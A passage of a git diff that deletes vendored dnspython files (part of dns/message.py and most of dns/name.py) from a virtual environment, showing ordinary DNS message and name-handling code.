m.use_edns(**kwargs) - if want_dnssec: - m.want_dnssec(want_dnssec) - return m - - -class CopyMode(enum.Enum): - """ - How should sections be copied when making an update response? - """ - - NOTHING = 0 - QUESTION = 1 - EVERYTHING = 2 - - -def make_response( - query: Message, - recursion_available: bool = False, - our_payload: int = 8192, - fudge: int = 300, - tsig_error: int = 0, - pad: int | None = None, - copy_mode: CopyMode | None = None, -) -> Message: - """Make a message which is a response for the specified query. - The message returned is really a response skeleton; it has all of the infrastructure - required of a response, but none of the content. - - Response section(s) which are copied are shallow copies of the matching section(s) - in the query, so the query's RRsets should not be changed. - - *query*, a ``dns.message.Message``, the query to respond to. - - *recursion_available*, a ``bool``, should RA be set in the response? - - *our_payload*, an ``int``, the payload size to advertise in EDNS responses. - - *fudge*, an ``int``, the TSIG time fudge. - - *tsig_error*, an ``int``, the TSIG error. - - *pad*, a non-negative ``int`` or ``None``. If 0, the default, do not pad; otherwise - if not ``None`` add padding bytes to make the message size a multiple of *pad*. Note - that if padding is non-zero, an EDNS PADDING option will always be added to the - message. If ``None``, add padding following RFC 8467, namely if the request is - padded, pad the response to 468 otherwise do not pad. - - *copy_mode*, a ``dns.message.CopyMode`` or ``None``, determines how sections are - copied. The default, ``None`` copies sections according to the default for the - message's opcode, which is currently ``dns.message.CopyMode.QUESTION`` for all - opcodes. ``dns.message.CopyMode.QUESTION`` copies only the question section. - ``dns.message.CopyMode.EVERYTHING`` copies all sections other than OPT or TSIG - records, which are created appropriately if needed. ``dns.message.CopyMode.NOTHING`` - copies no sections; note that this mode is for server testing purposes and is - otherwise not recommended for use. In particular, ``dns.message.is_response()`` - will be ``False`` if you create a response this way and the rcode is not - ``FORMERR``, ``SERVFAIL``, ``NOTIMP``, or ``REFUSED``. - - Returns a ``dns.message.Message`` object whose specific class is appropriate for the - query. For example, if query is a ``dns.update.UpdateMessage``, the response will - be one too. - """ - - if query.flags & dns.flags.QR: - raise dns.exception.FormError("specified query message is not a query") - opcode = query.opcode() - factory = _message_factory_from_opcode(opcode) - response = factory(id=query.id) - response.flags = dns.flags.QR | (query.flags & dns.flags.RD) - if recursion_available: - response.flags |= dns.flags.RA - response.set_opcode(opcode) - if copy_mode is None: - copy_mode = CopyMode.QUESTION - if copy_mode != CopyMode.NOTHING: - response.question = list(query.question) - if copy_mode == CopyMode.EVERYTHING: - response.answer = list(query.answer) - response.authority = list(query.authority) - response.additional = list(query.additional) - if query.edns >= 0: - if pad is None: - # Set response padding per RFC 8467 - pad = 0 - for option in query.options: - if option.otype == dns.edns.OptionType.PADDING: - pad = 468 - response.use_edns(0, 0, our_payload, query.payload, pad=pad) - if query.had_tsig and query.keyring: - assert query.mac is not None - assert query.keyalgorithm is not None - response.use_tsig( - query.keyring, - query.keyname, - fudge, - None, - tsig_error, - b"", - query.keyalgorithm, - ) - response.request_mac = query.mac - return response - - -### BEGIN generated MessageSection constants - -QUESTION = MessageSection.QUESTION -ANSWER = MessageSection.ANSWER -AUTHORITY = MessageSection.AUTHORITY -ADDITIONAL = MessageSection.ADDITIONAL - -### END generated MessageSection constants diff --git a/venv/Lib/site-packages/dns/name.py b/venv/Lib/site-packages/dns/name.py deleted file mode 100644 index 45c8f454ecc8b5386393a3e5f9b94d3604801c89..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/name.py +++ /dev/null @@ -1,1289 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Names.""" - -import copy -import encodings.idna # type: ignore -import functools -import struct -from typing import Any, Callable, Dict, Iterable, Optional, Tuple - -import dns._features -import dns.enum -import dns.exception -import dns.immutable -import dns.wire - -# Dnspython will never access idna if the import fails, but pyright can't figure -# that out, so... -# -# pyright: reportAttributeAccessIssue = false, reportPossiblyUnboundVariable = false - -if dns._features.have("idna"): - import idna # type: ignore - - have_idna_2008 = True -else: # pragma: no cover - have_idna_2008 = False - - -CompressType = Dict["Name", int] - - -class NameRelation(dns.enum.IntEnum): - """Name relation result from fullcompare().""" - - # This is an IntEnum for backwards compatibility in case anyone - # has hardwired the constants. - - #: The compared names have no relationship to each other. - NONE = 0 - #: the first name is a superdomain of the second. - SUPERDOMAIN = 1 - #: The first name is a subdomain of the second. - SUBDOMAIN = 2 - #: The compared names are equal. - EQUAL = 3 - #: The compared names have a common ancestor. - COMMONANCESTOR = 4 - - @classmethod - def _maximum(cls): - return cls.COMMONANCESTOR # pragma: no cover - - @classmethod - def _short_name(cls): - return cls.__name__ # pragma: no cover - - -# Backwards compatibility -NAMERELN_NONE = NameRelation.NONE -NAMERELN_SUPERDOMAIN = NameRelation.SUPERDOMAIN -NAMERELN_SUBDOMAIN = NameRelation.SUBDOMAIN -NAMERELN_EQUAL = NameRelation.EQUAL -NAMERELN_COMMONANCESTOR = NameRelation.COMMONANCESTOR - - -class EmptyLabel(dns.exception.SyntaxError): - """A DNS label is empty.""" - - -class BadEscape(dns.exception.SyntaxError): - """An escaped code in a text format of DNS name is invalid.""" - - -class BadPointer(dns.exception.FormError): - """A DNS compression pointer points forward instead of backward.""" - - -class BadLabelType(dns.exception.FormError): - """The label type in DNS name wire format is unknown.""" - - -class NeedAbsoluteNameOrOrigin(dns.exception.DNSException): - """An attempt was made to convert a non-absolute name to - wire when there was also a non-absolute (or missing) origin.""" - - -class NameTooLong(dns.exception.FormError): - """A DNS name is > 255 octets long.""" - - -class LabelTooLong(dns.exception.SyntaxError): - """A DNS label is > 63 octets long.""" - - -class AbsoluteConcatenation(dns.exception.DNSException): - """An attempt was made to append anything other than the - empty name to an absolute DNS name.""" - - -class NoParent(dns.exception.DNSException): - """An attempt was made to get the parent of the root name - or the empty name.""" - - -class NoIDNA2008(dns.exception.DNSException): - """IDNA 2008 processing was requested but the idna module is not - available.""" - - -class IDNAException(dns.exception.DNSException): - """IDNA processing raised an exception.""" - - supp_kwargs = {"idna_exception"} - fmt = "IDNA processing exception: {idna_exception}" - - # We do this as otherwise mypy complains about unexpected keyword argument - # idna_exception - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - -class NeedSubdomainOfOrigin(dns.exception.DNSException): - """An absolute name was provided that is not a subdomain of the specified origin.""" - - -_escaped = b'"().;\\@$' -_escaped_text = '"().;\\@$' - - -def _escapify(label: bytes | str) -> str: - """Escape the characters in label which need it. - @returns: the escaped string - @rtype: string""" - if isinstance(label, bytes): - # Ordinary DNS label mode. Escape special characters and values - # < 0x20 or > 0x7f. - text = "" - for c in label: - if c in _escaped: - text += "\\" + chr(c) - elif c > 0x20 and c < 0x7F: - text += chr(c) - else: - text += f"\\{c:03d}" - return text - - # Unicode label mode. Escape only special characters and values < 0x20 - text = "" - for uc in label: - if uc in _escaped_text: - text += "\\" + uc - elif uc <= "\x20": - text += f"\\{ord(uc):03d}" - else: - text += uc - return text - - -class IDNACodec: - """Abstract base class for IDNA encoder/decoders.""" - - def __init__(self): - pass - - def is_idna(self, label: bytes) -> bool: - return label.lower().startswith(b"xn--") - - def encode(self, label: str) -> bytes: - raise NotImplementedError # pragma: no cover - - def decode(self, label: bytes) -> str: - # We do not apply any IDNA policy on decode. - if self.is_idna(label): - try: - slabel = label[4:].decode("punycode") - return _escapify(slabel) - except Exception as e: - raise IDNAException(idna_exception=e) - else: - return _escapify(label) - - -class IDNA2003Codec(IDNACodec): - """IDNA 2003 encoder/decoder.""" - - def __init__(self, strict_decode: bool = False): - """Initialize the IDNA 2003 encoder/decoder. - - *strict_decode* is a ``bool``. If `True`, then IDNA2003 checking - is done when decoding. This can cause failures if the name - was encoded with IDNA2008. The default is `False`. - """ - - super().__init__() - self.strict_decode = strict_decode - - def encode(self, label: str) -> bytes: - """Encode *label*.""" - - if label == "": - return b"" - try: - return encodings.idna.ToASCII(label) - except UnicodeError: - raise LabelTooLong - - def decode(self, label: bytes) -> str: - """Decode *label*.""" - if not self.strict_decode: - return super().decode(label) - if label == b"": - return "" - try: - return _escapify(encodings.idna.ToUnicode(label)) - except Exception as e: - raise IDNAException(idna_exception=e) - - -class IDNA2008Codec(IDNACodec): - """IDNA 2008 encoder/decoder.""" - - def __init__( - self, - uts_46: bool = False, - transitional: bool = False, - allow_pure_ascii: bool = False, - strict_decode: bool = False, - ): - """Initialize the IDNA 2008 encoder/decoder. - - *uts_46* is a ``bool``. If True, apply Unicode IDNA - compatibility processing as described in Unicode Technical - Standard #46 (https://unicode.org/reports/tr46/). - If False, do not apply the mapping. The default is False. - - *transitional* is a ``bool``: If True, use the - "transitional" mode described in Unicode Technical Standard - #46. The default is False. - - *allow_pure_ascii* is a ``bool``. If True, then a label which - consists of only ASCII characters is allowed. This is less - strict than regular IDNA 2008, but is also necessary for mixed - names, e.g. a name with starting with "_sip._tcp." and ending - in an IDN suffix which would otherwise be disallowed. The - default is False. - - *strict_decode* is a ``bool``: If True, then IDNA2008 checking - is done when decoding. This can cause failures if the name - was encoded with IDNA2003. The default is False. - """ - super().__init__() - self.uts_46 = uts_46 - self.transitional = transitional - self.allow_pure_ascii = allow_pure_ascii - self.strict_decode = strict_decode - - def encode(self, label: str) -> bytes: - if label == "": - return b"" - if self.allow_pure_ascii and is_all_ascii(label): - encoded = label.encode("ascii") - if len(encoded) > 63: - raise LabelTooLong - return encoded - if not have_idna_2008: - raise NoIDNA2008 - try: - if self.uts_46: - # pylint: disable=possibly-used-before-assignment - label = idna.uts46_remap(label, False, self.transitional) - return idna.alabel(label) - except idna.IDNAError as e: - if e.args[0] == "Label too long": - raise LabelTooLong - else: - raise IDNAException(idna_exception=e) - - def decode(self, label: bytes) -> str: - if not self.strict_decode: - return super().decode(label) - if label == b"": - return "" - if not have_idna_2008: - raise NoIDNA2008 - try: - ulabel = idna.ulabel(label) - if self.uts_46: - ulabel = idna.uts46_remap(ulabel, False, self.transitional) - return _escapify(ulabel) - except (idna.IDNAError, UnicodeError) as e: - raise IDNAException(idna_exception=e) - - -IDNA_2003_Practical = IDNA2003Codec(False) -IDNA_2003_Strict = IDNA2003Codec(True) -IDNA_2003 = IDNA_2003_Practical -IDNA_2008_Practical = IDNA2008Codec(True, False, True, False) -IDNA_2008_UTS_46 = IDNA2008Codec(True, False, False, False) -IDNA_2008_Strict = IDNA2008Codec(False, False, False, True) -IDNA_2008_Transitional = IDNA2008Codec(True, True, False, False) -IDNA_2008 = IDNA_2008_Practical - - -def _validate_labels(labels: Tuple[bytes, ...]) -> None: - """Check for empty labels in the middle of a label sequence, - labels that are too long, and for too many labels. - - Raises ``dns.name.NameTooLong`` if the name as a whole is too long. - - Raises ``dns.name.EmptyLabel`` if a label is empty (i.e. the root - label) and appears in a position other than the end of the label - sequence - - """ - - l = len(labels) - total = 0 - i = -1 - j = 0 - for label in labels: - ll = len(label) - total += ll + 1 - if ll > 63: - raise LabelTooLong - if i < 0 and label == b"": - i = j - j += 1 - if total > 255: - raise NameTooLong - if i >= 0 and i != l - 1: - raise EmptyLabel - - -def _maybe_convert_to_binary(label: bytes | str) -> bytes: - """If label is ``str``, convert it to ``bytes``. If it is already - ``bytes`` just return it. - - """ - - if isinstance(label, bytes): - return label - if isinstance(label, str): - return label.encode() - raise ValueError # pragma: no cover - - -@dns.immutable.immutable -class Name: - """A DNS name. - - The dns.name.Name class represents a DNS name as a tuple of - labels. Each label is a ``bytes`` in DNS wire format. Instances - of the class are immutable. - """ - - __slots__ = ["labels"] - - def __init__(self, labels: Iterable[bytes | str]): - """*labels* is any iterable whose values are ``str`` or ``bytes``.""" - - blabels = [_maybe_convert_to_binary(x) for x in labels] - self.labels = tuple(blabels) - _validate_labels(self.labels) - - def __copy__(self): - return Name(self.labels) - - def __deepcopy__(self, memo): - return Name(copy.deepcopy(self.labels, memo)) - - def __getstate__(self): - # Names can be pickled - return {"labels": self.labels} - - def __setstate__(self, state): - super().__setattr__("labels", state["labels"]) - _validate_labels(self.labels) - - def is_absolute(self) -> bool: - """Is the most significant label of this name the root label? - - Returns a ``bool``. - """ - - return len(self.labels) > 0 and self.labels[-1] == b"" - - def is_wild(self) -> bool: - """Is this name wild? (I.e. Is the least significant label '*'?) - - Returns a ``bool``. - """ - - return len(self.labels) > 0 and self.labels[0] == b"*" - - def __hash__(self) -> int: - """Return a case-insensitive hash of the name. - - Returns an ``int``. - """ - - h = 0 - for label in self.labels: - for c in label.lower(): - h += (h << 3) + c - return h - - def fullcompare(self, other: "Name") -> Tuple[NameRelation, int, int]: - """Compare two names, returning a 3-tuple - ``(relation, order, nlabels)``. - - *relation* describes the relation ship between the names, - and is one of: ``dns.name.NameRelation.NONE``, - ``dns.name.NameRelation.SUPERDOMAIN``, ``dns.name.NameRelation.SUBDOMAIN``, - ``dns.name.NameRelation.EQUAL``, or ``dns.name.NameRelation.COMMONANCESTOR``. - - *order* is < 0 if *self* < *other*, > 0 if *self* > *other*, and == - 0 if *self* == *other*. A relative name is always less than an - absolute name. If both names have the same relativity, then - the DNSSEC order relation is used to order them. - - *nlabels* is the number of significant labels that the two names - have in common. - - Here are some examples. Names ending in "." are absolute names, - those not ending in "." are relative names. - - ============= ============= =========== ===== ======= - self other relation order nlabels - ============= ============= =========== ===== ======= - www.example. www.example. equal 0 3 - www.example. example. subdomain > 0 2 - example. www.example. superdomain < 0 2 - example1.com. example2.com. common anc. < 0 2 - example1 example2. none < 0 0 - example1. example2 none > 0 0 - ============= ============= =========== ===== ======= - """ - - sabs = self.is_absolute() - oabs = other.is_absolute() - if sabs != oabs: - if sabs: - return (NameRelation.NONE, 1, 0) - else: - return (NameRelation.NONE, -1, 0) - l1 = len(self.labels) - l2 = len(other.labels) - ldiff = l1 - l2 - if ldiff < 0: - l = l1 - else: - l = l2 - - order = 0 - nlabels = 0 - namereln = NameRelation.NONE - while l > 0: - l -= 1 - l1 -= 1 - l2 -= 1 - label1 = self.labels[l1].lower() - label2 = other.labels[l2].lower() - if label1 < label2: - order = -1 - if nlabels > 0: - namereln = NameRelation.COMMONANCESTOR - return (namereln, order, nlabels) - elif label1 > label2: - order = 1 - if nlabels > 0: - namereln = NameRelation.COMMONANCESTOR - return (namereln, order, nlabels) - nlabels += 1 - order = ldiff - if ldiff < 0: - namereln = NameRelation.SUPERDOMAIN - elif ldiff > 0: - namereln = NameRelation.SUBDOMAIN - else: - namereln = NameRelation.EQUAL - return (namereln, order, nlabels) - - def is_subdomain(self, other: "Name") -> bool: - """Is self a subdomain of other? - - Note that the notion of subdomain includes equality, e.g. - "dnspython.org" is a subdomain of itself. - - Returns a ``bool``. - """ - - (nr, _, _) = self.fullcompare(other) - if nr == NameRelation.SUBDOMAIN or nr == NameRelation.EQUAL: - return True - return False - - def is_superdomain(self, other: "Name") -> bool: - """Is self a superdomain of other? - - Note that the notion of superdomain includes equality, e.g. - "dnspython.org" is a superdomain of itself. - - Returns a ``bool``. - """ - - (nr, _, _) = self.fullcompare(other) - if nr == NameRelation.SUPERDOMAIN or nr == NameRelation.EQUAL: - return True - return False - - def canonicalize(self) -> "Name": - """Return a name which is equal to the current name, but is in - DNSSEC canonical form. - """ - - return Name([x.lower() for x in self.labels]) - - def __eq__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] == 0 - else: - return False - - def __ne__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] != 0 - else: - return True - - def __lt__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] < 0 - else: - return NotImplemented - - def __le__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] <= 0 - else: - return NotImplemented - - def __ge__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] >= 0 - else: - return NotImplemented - - def __gt__(self, other): - if isinstance(other, Name): - return self.fullcompare(other)[1] > 0 - else: - return NotImplemented - - def __repr__(self): - return "" - - def __str__(self): - return self.to_text(False) - - def to_text(self, omit_final_dot: bool = False) -> str: - """Convert name to DNS text format. - - *omit_final_dot* is a ``bool``. If True, don't emit the final - dot (denoting the root label) for absolute names. The default - is False. - - Returns a ``str``. - """ - - if len(self.labels) == 0: - return "@" - if len(self.labels) == 1 and self.labels[0] == b"": - return "." - if omit_final_dot and self.is_absolute(): - l = self.labels[:-1] - else: - l = self.labels - s = ".".join(map(_escapify, l)) - return s - - def to_unicode( - self, omit_final_dot: bool = False, idna_codec: IDNACodec | None = None - ) -> str: - """Convert name to Unicode text format. - - IDN ACE labels are converted to Unicode. - - *omit_final_dot* is a ``bool``. If True, don't emit the final - dot (denoting the root label) for absolute names. The default - is False. - *idna_codec* specifies the IDNA encoder/decoder. If None, the - dns.name.IDNA_2003_Practical encoder/decoder is used. - The IDNA_2003_Practical decoder does - not impose any policy, it just decodes punycode, so if you - don't want checking for compliance, you can use this decoder - for IDNA2008 as well. - - Returns a ``str``. - """ - - if len(self.labels) == 0: - return "@" - if len(self.labels) == 1 and self.labels[0] == b"": - return "." - if omit_final_dot and self.is_absolute(): - l = self.labels[:-1] - else: - l = self.labels - if idna_codec is None: - idna_codec = IDNA_2003_Practical - return ".".join([idna_codec.decode(x) for x in l]) - - def to_digestable(self, origin: Optional["Name"] = None) -> bytes: - """Convert name to a format suitable for digesting in hashes. - - The name is canonicalized and converted to uncompressed wire - format. All names in wire format are absolute. If the name - is a relative name, then an origin must be supplied. - - *origin* is a ``dns.name.Name`` or ``None``. If the name is - relative and origin is not ``None``, then origin will be appended - to the name. - - Raises ``dns.name.NeedAbsoluteNameOrOrigin`` if the name is - relative and no origin was provided. - - Returns a ``bytes``. - """ - - digest = self.to_wire(origin=origin, canonicalize=True) - assert digest is not None - return digest - - def to_wire( - self, - file: Any | None = None, - compress: CompressType | None = None, - origin: Optional["Name"] = None, - canonicalize: bool = False, - ) -> bytes | None: - """Convert name to wire format, possibly compressing it. - - *file* is the file where the name is emitted (typically an - io.BytesIO file). If ``None`` (the default), a ``bytes`` - containing the wire name will be returned. - - *compress*, a ``dict``, is the compression table to use. If - ``None`` (the default), names will not be compressed. Note that - the compression code assumes that compression offset 0 is the - start of *file*, and thus compression will not be correct - if this is not the case. - - *origin* is a ``dns.name.Name`` or ``None``. If the name is - relative and origin is not ``None``, then *origin* will be appended - to it. - - *canonicalize*, a ``bool``, indicates whether the name should - be canonicalized; that is, converted to a format suitable for - digesting in hashes. - - Raises ``dns.name.NeedAbsoluteNameOrOrigin`` if the name is - relative and no origin was provided. - - Returns a ``bytes`` or ``None``. - """ - - if file is None: - out = bytearray() - for label in self.labels: - out.append(len(label)) - if canonicalize: - out += label.lower() - else: - out += label - if not self.is_absolute(): - if origin is None or not origin.is_absolute(): - raise NeedAbsoluteNameOrOrigin - for label in origin.labels: - out.append(len(label)) - if canonicalize: - out += label.lower() - else: - out += label - return bytes(out) - - labels: Iterable[bytes] - if not self.is_absolute(): - if origin is None or not origin.is_absolute(): - raise NeedAbsoluteNameOrOrigin - labels = list(self.labels) - labels.extend(list(origin.labels)) - else: - labels = self.labels - i = 0 - for label in labels: - n = Name(labels[i:]) - i += 1 - if compress is not None: - pos = compress.get(n) - else: - pos = None - if pos is not None: - value = 0xC000 + pos - s = struct.pack("!H", value) - file.write(s) - break - else: - if compress is not None and len(n) > 1: - pos = file.tell() - if pos <= 0x3FFF: - compress[n] = pos - l = len(label) - file.write(struct.pack("!B", l)) - if l > 0: - if canonicalize: - file.write(label.lower()) - else: - file.write(label) - return None - - def __len__(self) -> int: - """The length of the name (in labels). - - Returns an ``int``. - """ - - return len(self.labels) - - def __getitem__(self, index): - return self.labels[index] - - def __add__(self, other): - return self.concatenate(other) - - def __sub__(self, other): - return self.relativize(other) - - def split(self, depth: int) -> Tuple["Name", "Name"]: - """Split a name into a prefix and suffix names at the specified depth. - - *depth* is an ``int`` specifying the number of labels in the suffix - - Raises ``ValueError`` if *depth* was not >= 0 and <= the length of the - name. - - Returns the tuple ``(prefix, suffix)``. - """ - - l = len(self.labels) - if depth == 0: - return (self, dns.name.empty) - elif depth == l: - return (dns.name.empty, self) - elif depth < 0 or depth > l: - raise ValueError("depth must be >= 0 and <= the length of the name") - return (Name(self[:-depth]), Name(self[-depth:])) - - def concatenate(self, other: "Name") -> "Name": - """Return a new name which is the concatenation of self and other. - - Raises ``dns.name.AbsoluteConcatenation`` if the name is - absolute and *other* is not the empty name. - - Returns a ``dns.name.Name``. - """ - - if self.is_absolute() and len(other) > 0: - raise AbsoluteConcatenation - labels = list(self.labels) - labels.extend(list(other.labels)) - return Name(labels) - - def relativize(self, origin: "Name") -> "Name": - """If the name is a subdomain of *origin*, return a new name which is - the name relative to origin. Otherwise return the name. - - For example, relativizing ``www.dnspython.org.`` to origin - ``dnspython.org.`` returns the name ``www``. Relativizing ``example.`` - to origin ``dnspython.org.`` returns ``example.``. - - Returns a ``dns.name.Name``. - """ - - if origin is not None and self.is_subdomain(origin): - return Name(self[: -len(origin)]) - else: - return self - - def derelativize(self, origin: "Name") -> "Name": - """If the name is a relative name, return a new name which is the - concatenation of the name and origin. Otherwise return the name. - - For example, derelativizing ``www`` to origin ``dnspython.org.`` - returns the name ``www.dnspython.org.``. Derelativizing ``example.`` - to origin ``dnspython.org.`` returns ``example.``. - - Returns a ``dns.name.Name``. - """ - - if not self.is_absolute(): - return self.concatenate(origin) - else: - return self - - def choose_relativity( - self, origin: Optional["Name"] = None, relativize: bool = True - ) -> "Name": - """Return a name with the relativity desired by the caller. - - If *origin* is ``None``, then the name is returned. - Otherwise, if *relativize* is ``True`` the name is - relativized, and if *relativize* is ``False`` the name is - derelativized. - - Returns a ``dns.name.Name``. - """ - - if origin: - if relativize: - return self.relativize(origin) - else: - return self.derelativize(origin) - else: - return self - - def parent(self) -> "Name": - """Return the parent of the name. - - For example, the parent of ``www.dnspython.org.`` is ``dnspython.org``. - - Raises ``dns.name.NoParent`` if the name is either the root name or the - empty name, and thus has no parent. - - Returns a ``dns.name.Name``. - """ - - if self == root or self == empty: - raise NoParent - return Name(self.labels[1:]) - - def predecessor(self, origin: "Name", prefix_ok: bool = True) -> "Name": - """Return the maximal predecessor of *name* in the DNSSEC ordering in the zone - whose origin is *origin*, or return the longest name under *origin* if the - name is origin (i.e. wrap around to the longest name, which may still be - *origin* due to length considerations. - - The relativity of the name is preserved, so if this name is relative - then the method will return a relative name, and likewise if this name - is absolute then the predecessor will be absolute. - - *prefix_ok* indicates if prefixing labels is allowed, and - defaults to ``True``. Normally it is good to allow this, but if computing - a maximal predecessor at a zone cut point then ``False`` must be specified. - """ - return _handle_relativity_and_call( - _absolute_predecessor, self, origin, prefix_ok - ) - - def successor(self, origin: "Name", prefix_ok: bool = True) -> "Name": - """Return the minimal successor of *name* in the DNSSEC ordering in the zone - whose origin is *origin*, or return *origin* if the successor cannot be - computed due to name length limitations. - - Note that *origin* is returned in the "too long" cases because wrapping - around to the origin is how NSEC records express "end of the zone". - - The relativity of the name is preserved, so if this name is relative - then the method will return a relative name, and likewise if this name - is absolute then the successor will be absolute. - - *prefix_ok* indicates if prefixing a new minimal label is allowed, and - defaults to ``True``. Normally it is good to allow this, but if computing - a minimal successor at a zone cut point then ``False`` must be specified. - """ - return _handle_relativity_and_call(_absolute_successor, self, origin, prefix_ok) - - -#: The root name, '.' -root = Name([b""]) - -#: The empty name. -empty = Name([]) - - -def from_unicode( - text: str, origin: Name | None = root, idna_codec: IDNACodec | None = None -) -> Name: - """Convert unicode text into a Name object. - - Labels are encoded in IDN ACE form according to rules specified by - the IDNA codec. - - *text*, a ``str``, is the text to convert into a name. - - *origin*, a ``dns.name.Name``, specifies the origin to - append to non-absolute names. The default is the root name. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - Returns a ``dns.name.Name``. - """ - - if not isinstance(text, str): - raise ValueError("input to from_unicode() must be a unicode string") - if not (origin is None or isinstance(origin, Name)): - raise ValueError("origin must be a Name or None") - labels = [] - label = "" - escaping = False - edigits = 0 - total = 0 - if idna_codec is None: - idna_codec = IDNA_2003 - if text == "@": - text = "" - if text: - if text in [".", "\u3002", "\uff0e", "\uff61"]: - return Name([b""]) # no Unicode "u" on this constant! - for c in text: - if escaping: - if edigits == 0: - if c.isdigit(): - total = int(c) - edigits += 1 - else: - label += c - escaping = False - else: - if not c.isdigit(): - raise BadEscape - total *= 10 - total += int(c) - edigits += 1 - if edigits == 3: - escaping = False - label += chr(total) - elif c in [".", "\u3002", "\uff0e", "\uff61"]: - if len(label) == 0: - raise EmptyLabel - labels.append(idna_codec.encode(label)) - label = "" - elif c == "\\": - escaping = True - edigits = 0 - total = 0 - else: - label += c - if escaping: - raise BadEscape - if len(label) > 0: - labels.append(idna_codec.encode(label)) - else: - labels.append(b"") - - if (len(labels) == 0 or labels[-1] != b"") and origin is not None: - labels.extend(list(origin.labels)) - return Name(labels) - - -def is_all_ascii(text: str) -> bool: - for c in text: - if ord(c) > 0x7F: - return False - return True - - -def from_text( - text: bytes | str, - origin: Name | None = root, - idna_codec: IDNACodec | None = None, -) -> Name: - """Convert text into a Name object. - - *text*, a ``bytes`` or ``str``, is the text to convert into a name. - - *origin*, a ``dns.name.Name``, specifies the origin to - append to non-absolute names. The default is the root name. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - Returns a ``dns.name.Name``. - """ - - if isinstance(text, str): - if not is_all_ascii(text): - # Some codepoint in the input text is > 127, so IDNA applies. - return from_unicode(text, origin, idna_codec) - # The input is all ASCII, so treat this like an ordinary non-IDNA - # domain name. Note that "all ASCII" is about the input text, - # not the codepoints in the domain name. E.g. if text has value - # - # r'\150\151\152\153\154\155\156\157\158\159' - # - # then it's still "all ASCII" even though the domain name has - # codepoints > 127. - text = text.encode("ascii") - if not isinstance(text, bytes): - raise ValueError("input to from_text() must be a string") - if not (origin is None or isinstance(origin, Name)): - raise ValueError("origin must be a Name or None") - labels = [] - label = b"" - escaping = False - edigits = 0 - total = 0 - if text == b"@": - text = b"" - if text: - if text == b".": - return Name([b""]) - for c in text: - byte_ = struct.pack("!B", c) - if escaping: - if edigits == 0: - if byte_.isdigit(): - total = int(byte_) - edigits += 1 - else: - label += byte_ - escaping = False - else: - if not byte_.isdigit(): - raise BadEscape - total *= 10 - total += int(byte_) - edigits += 1 - if edigits == 3: - escaping = False - label += struct.pack("!B", total) - elif byte_ == b".": - if len(label) == 0: - raise EmptyLabel - labels.append(label) - label = b"" - elif byte_ == b"\\": - escaping = True - edigits = 0 - total = 0 - else: - label += byte_ - if escaping: - raise BadEscape - if len(label) > 0: - labels.append(label) - else: - labels.append(b"") - if (len(labels) == 0 or labels[-1] != b"") and origin is not None: - labels.extend(list(origin.labels)) - return Name(labels) - - -# we need 'dns.wire.Parser' quoted as dns.name and dns.wire depend on each other. - - -def from_wire_parser(parser: "dns.wire.Parser") -> Name: - """Convert possibly compressed wire format into a Name. - - *parser* is a dns.wire.Parser. - - Raises ``dns.name.BadPointer`` if a compression pointer did not - point backwards in the message. - - Raises ``dns.name.BadLabelType`` if an invalid label type was encountered. - - Returns a ``dns.name.Name`` - """ - - labels = [] - biggest_pointer = parser.current - with parser.restore_furthest(): - count = parser.get_uint8() - while count != 0: - if count < 64: - labels.append(parser.get_bytes(count)) - elif count >= 192: - current = (count & 0x3F) * 256 + parser.get_uint8() - if current >= biggest_pointer: - raise BadPointer - biggest_pointer = current - parser.seek(current) - else: - raise BadLabelType - count = parser.get_uint8() - labels.append(b"") - return Name(labels) - - -def from_wire(message: bytes, current: int) -> Tuple[Name, int]: - """Convert possibly compressed wire format into a Name. - - *message* is a ``bytes`` containing an entire DNS message in DNS - wire form. - - *current*, an ``int``, is the offset of the beginning of the name - from the start of the message - - Raises ``dns.name.BadPointer`` if a compression pointer did not - point backwards in the message. - - Raises ``dns.name.BadLabelType`` if an invalid label type was encountered. - - Returns a ``(dns.name.Name, int)`` tuple consisting of the name - that was read and the number of bytes of the wire format message - which were consumed reading it. - """ - - if not isinstance(message, bytes): - raise ValueError("input to from_wire() must be a byte string") - parser = dns.wire.Parser(message, current) - name = from_wire_parser(parser) - return (name, parser.current - current) - - -# RFC 4471 Support - -_MINIMAL_OCTET = b"\x00" -_MINIMAL_OCTET_VALUE = ord(_MINIMAL_OCTET) -_SUCCESSOR_PREFIX = Name([_MINIMAL_OCTET]) -_MAXIMAL_OCTET = b"\xff" -_MAXIMAL_OCTET_VALUE = ord(_MAXIMAL_OCTET) -_AT_SIGN_VALUE = ord("@") -_LEFT_SQUARE_BRACKET_VALUE = ord("[") - - -def _wire_length(labels): - return functools.reduce(lambda v, x: v + len(x) + 1, labels, 0) - - -def _pad_to_max_name(name): - needed = 255 - _wire_length(name.labels) - new_labels = [] - while needed > 64: - new_labels.append(_MAXIMAL_OCTET * 63) - needed -= 64 - if needed >= 2: - new_labels.append(_MAXIMAL_OCTET * (needed - 1)) - # Note we're already maximal in the needed == 1 case as while we'd like - # to add one more byte as a new label, we can't, as adding a new non-empty - # label requires at least 2 